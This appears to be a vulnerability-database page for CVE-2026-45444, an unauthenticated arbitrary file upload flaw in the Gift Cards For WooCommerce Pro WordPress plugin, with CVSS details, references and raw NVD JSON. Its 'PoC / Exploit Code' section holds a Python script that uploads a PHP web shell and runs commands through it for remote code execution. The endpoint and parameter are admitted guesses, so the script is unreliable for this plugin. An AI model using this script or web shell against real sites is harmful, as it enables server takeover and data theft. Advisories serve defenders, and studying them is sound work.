CVE-2026-45444

Description

Unrestricted Upload of File with Dangerous Type vulnerability in WP Swings Gift Cards For WooCommerce Pro allows Using Malicious Files. This issue affects Gift Cards For WooCommerce Pro: from n/a through 4.2.6.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Swings Gift Cards For WooCommerce Pro <= 4.2.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual vulnerable endpoint)
target_url = "http://example.com/wp-content/plugins/giftware/upload_endpoint.php"
shell_url = "http://example.com/wp-content/uploads/shell.php"

# Malicious PHP payload
php_payload = "<?php system($_GET['cmd']); ?>"

# Prepare the file upload
files = {
    'file': ('shell.php', php_payload, 'application/octet-stream')
}

data = {
    'action': 'upload_gift_card_image' # Example parameter based on plugin functionality
}

try:
    print("[+] Exploiting File Upload Vulnerability...")
    response = requests.post(target_url, files=files, data=data)
    
    if response.status_code == 200 and "success" in response.text.lower():
        print("[+] File uploaded successfully!")
        
        # Verify execution
        verify = requests.get(f"{shell_url}?cmd=whoami")
        if verify.status_code == 200:
            print(f"[+] RCE Successful! Current user: {verify.text.strip()}")
    else:
        print("[-] Exploit failed or patch applied.")
        print(response.text)
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45444
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45444
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45444/
[4] VulDB https://vuldb.com/cve/CVE-2026-45444
[5] https://patchstack.com/database/wordpress/plugin/giftware/vulnerability/wordpress-gift-cards-for-woocommerce-pro-plugin-4-2-6-arbitrary-file-upload-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45444", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:40.680", "lastModified": "2026-05-21T15:19:30.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in WP Swings Gift Cards For WooCommerce Pro allows Using Malicious Files.\n\nThis issue affects Gift Cards For WooCommerce Pro: from n/a through 4.2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/giftware/vulnerability/wordpress-gift-cards-for-woocommerce-pro-plugin-4-2-6-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}